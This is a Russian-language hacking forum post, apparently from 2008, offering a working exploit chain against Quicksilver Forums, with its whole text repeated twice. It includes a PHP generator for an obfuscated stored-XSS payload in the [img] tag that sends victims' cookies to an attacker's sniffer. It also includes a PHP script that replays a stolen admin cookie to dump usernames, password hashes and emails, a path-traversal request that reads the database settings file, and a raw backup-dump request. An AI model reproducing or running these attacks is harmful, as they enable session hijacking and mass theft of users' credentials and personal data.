_kREveDKo_2
19.07.2008, 23:28
Вобщем в форуме в bb-тегах есть простейшая активная XSS - в теге картинок. Выгялдит так:
javascript:alert()[/img*](без звёздочек)
В админке есть бэкапер базы + менеджер для создания запросов к базе. Т.о. можно сделать либо бэкап всех юзеров форума, либо же подать запрос, который выведет всех этих юзеров (мэйлы, хеши, в общем все данные).
Поэтому я для удобства решил накатать функциональны сниффер, который бы делал запрос на выборку всех пользователей и их данных. Запрос на создание бэкапа делать не стал, ибо это всё-таки палевнее.
Также для удобства написал генератор активок (подставляет в уязвимость адрес к вашему снифферу и шифрует его).
Итак, вот генератор активок:
<?php
/*--------------------------------------------------------------------*\
Quicksilver Forums Active XSS Generator
Coded: n3v3rh00d / 19.07.08 / www.antichat.ru
\*--------------------------------------------------------------------*/
?>
<title>Quicksilver Forums Active XSS Generator</title>
<body>
<form action="" method=POST>
<br><div align=center><font face='tahoma' size=4>Quicksilver Forums Active XSS Generator</font>
<br><font face='tahoma' size=2>© n3v3rh00d (www.antichat.ru)<br><p>
<input type=text name=sniffer value='http://' style='width: 400px'>
<br><input type=submit value='Введите ссылку на сниффер и жмякайте сюда' name=submit style='width:400px'>
</font>
<?php
if(isset($_POST['sniffer']) && !empty($_POST['submit']) && strlen($_POST['sniffer']) > 9)
{
for($x=0; $x !== strlen($_POST['sniffer']); $x++)
{
if($x+1 == strlen($_POST['sniffer'])) $kopilka .= ord($_POST['sniffer'][$x]);
else $kopilka .= ord($_POST['sniffer'][$x]).',';
}
echo '<br><br><textarea style="width:400px; height:150px;">
[img]javascript:eval(String.fromCharCode(105,109,103,61 ,110,101,119,32,73,109,97,103,101,40,41,59,105,109 ,103,46,115,114,99,61,34,'.$kopilka.',63,34,43,100 ,111,99,117,109,101,110,116,46,99,111,111,107,105, 101,59));</textarea>';
}
?>
</div></form>
А вот функциональный сниффер с запросом к БД. В настройках нужно указать хост и пусть к атакуемому форуму:
<?php
/*--------------------------------------------------------------------*\
Quicksilver Forums Functional Sniffer
Coded: n3v3rh00d / 19.07.08 / www.antichat.ru
\*--------------------------------------------------------------------*/
$hostname = 'localhost'; # Хост
$forum_path = '/e_quick/'; # Путь к форуму
if(strlen($_SERVER["QUERY_STRING"])>10)
{
$packet =
"POST ".$forum_path."admincp/index.php?a=query HTTP/1.1\r\n".
"Referer: http://".$hostname.$forum_path."admincp/index.php?a=query\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozilla/4.9 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
"Host: ".$hostname."\r\n".
"Content-Length: 92\r\n".
"Cookie: ".$_SERVER["QUERY_STRING"]."\r\n\r\n".
"sql=SELECT+user_name%2C+user_password%2C+user_emai l%2C+user_icq+FROM+qsf_users&submit=Submit\r\n\r\n";
$socket = fsockopen($hostname, 80, $errn, $errd, 10);
if($socket)
{
fwrite($socket, $packet);
$fp=fopen('database_dump_'.date('d.m.y').'.html',' w');
if($fp)
{
while(!feof($socket))
{
fwrite($fp,fgets($socket,1024));
}
}
fclose($fp);
}
fclose($socket);
}
?>
Также в админке есть баг с просмотром любого файла. Вот гетовый запрос, который позволяет просмотреть файл настроек к БД форума:/admincp/index.php?a=templates&s=edit_css&skin=default&file=../../settings.php
При необходимости можно без труда переписать пакет в функционалке, чтобы он делал запрос на чтение файла.
Так же может вам покажется удобным именно бэкап форума из админки, а не запрос к БД. В таком случае вот пакет, делающий дамп (по умолчанию в папку /packages/ корня форума):
POST /admincp/index.php?a=backup&s=create HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost/admincp/index.php?a=backup&s=create
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost
Content-Length: 34
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=9f454a4d2256f22abac78b4276081b22; qsf_lastallread=1216405235; qsf_user=2; qsf_pass=21232f297a57a5a743894a0e4a801fc3
insert=1&droptable=1&submit=Backup
Генератор и функциональный сниффер одним файлом: http://webfile.ru/2101089
javascript:alert()[/img*](без звёздочек)
В админке есть бэкапер базы + менеджер для создания запросов к базе. Т.о. можно сделать либо бэкап всех юзеров форума, либо же подать запрос, который выведет всех этих юзеров (мэйлы, хеши, в общем все данные).
Поэтому я для удобства решил накатать функциональны сниффер, который бы делал запрос на выборку всех пользователей и их данных. Запрос на создание бэкапа делать не стал, ибо это всё-таки палевнее.
Также для удобства написал генератор активок (подставляет в уязвимость адрес к вашему снифферу и шифрует его).
Итак, вот генератор активок:
<?php
/*--------------------------------------------------------------------*\
Quicksilver Forums Active XSS Generator
Coded: n3v3rh00d / 19.07.08 / www.antichat.ru
\*--------------------------------------------------------------------*/
?>
<title>Quicksilver Forums Active XSS Generator</title>
<body>
<form action="" method=POST>
<br><div align=center><font face='tahoma' size=4>Quicksilver Forums Active XSS Generator</font>
<br><font face='tahoma' size=2>© n3v3rh00d (www.antichat.ru)<br><p>
<input type=text name=sniffer value='http://' style='width: 400px'>
<br><input type=submit value='Введите ссылку на сниффер и жмякайте сюда' name=submit style='width:400px'>
</font>
<?php
if(isset($_POST['sniffer']) && !empty($_POST['submit']) && strlen($_POST['sniffer']) > 9)
{
for($x=0; $x !== strlen($_POST['sniffer']); $x++)
{
if($x+1 == strlen($_POST['sniffer'])) $kopilka .= ord($_POST['sniffer'][$x]);
else $kopilka .= ord($_POST['sniffer'][$x]).',';
}
echo '<br><br><textarea style="width:400px; height:150px;">
[img]javascript:eval(String.fromCharCode(105,109,103,61 ,110,101,119,32,73,109,97,103,101,40,41,59,105,109 ,103,46,115,114,99,61,34,'.$kopilka.',63,34,43,100 ,111,99,117,109,101,110,116,46,99,111,111,107,105, 101,59));</textarea>';
}
?>
</div></form>
А вот функциональный сниффер с запросом к БД. В настройках нужно указать хост и пусть к атакуемому форуму:
<?php
/*--------------------------------------------------------------------*\
Quicksilver Forums Functional Sniffer
Coded: n3v3rh00d / 19.07.08 / www.antichat.ru
\*--------------------------------------------------------------------*/
$hostname = 'localhost'; # Хост
$forum_path = '/e_quick/'; # Путь к форуму
if(strlen($_SERVER["QUERY_STRING"])>10)
{
$packet =
"POST ".$forum_path."admincp/index.php?a=query HTTP/1.1\r\n".
"Referer: http://".$hostname.$forum_path."admincp/index.php?a=query\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozilla/4.9 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
"Host: ".$hostname."\r\n".
"Content-Length: 92\r\n".
"Cookie: ".$_SERVER["QUERY_STRING"]."\r\n\r\n".
"sql=SELECT+user_name%2C+user_password%2C+user_emai l%2C+user_icq+FROM+qsf_users&submit=Submit\r\n\r\n";
$socket = fsockopen($hostname, 80, $errn, $errd, 10);
if($socket)
{
fwrite($socket, $packet);
$fp=fopen('database_dump_'.date('d.m.y').'.html',' w');
if($fp)
{
while(!feof($socket))
{
fwrite($fp,fgets($socket,1024));
}
}
fclose($fp);
}
fclose($socket);
}
?>
Также в админке есть баг с просмотром любого файла. Вот гетовый запрос, который позволяет просмотреть файл настроек к БД форума:/admincp/index.php?a=templates&s=edit_css&skin=default&file=../../settings.php
При необходимости можно без труда переписать пакет в функционалке, чтобы он делал запрос на чтение файла.
Так же может вам покажется удобным именно бэкап форума из админки, а не запрос к БД. В таком случае вот пакет, делающий дамп (по умолчанию в папку /packages/ корня форума):
POST /admincp/index.php?a=backup&s=create HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost/admincp/index.php?a=backup&s=create
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost
Content-Length: 34
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=9f454a4d2256f22abac78b4276081b22; qsf_lastallread=1216405235; qsf_user=2; qsf_pass=21232f297a57a5a743894a0e4a801fc3
insert=1&droptable=1&submit=Backup
Генератор и функциональный сниффер одним файлом: http://webfile.ru/2101089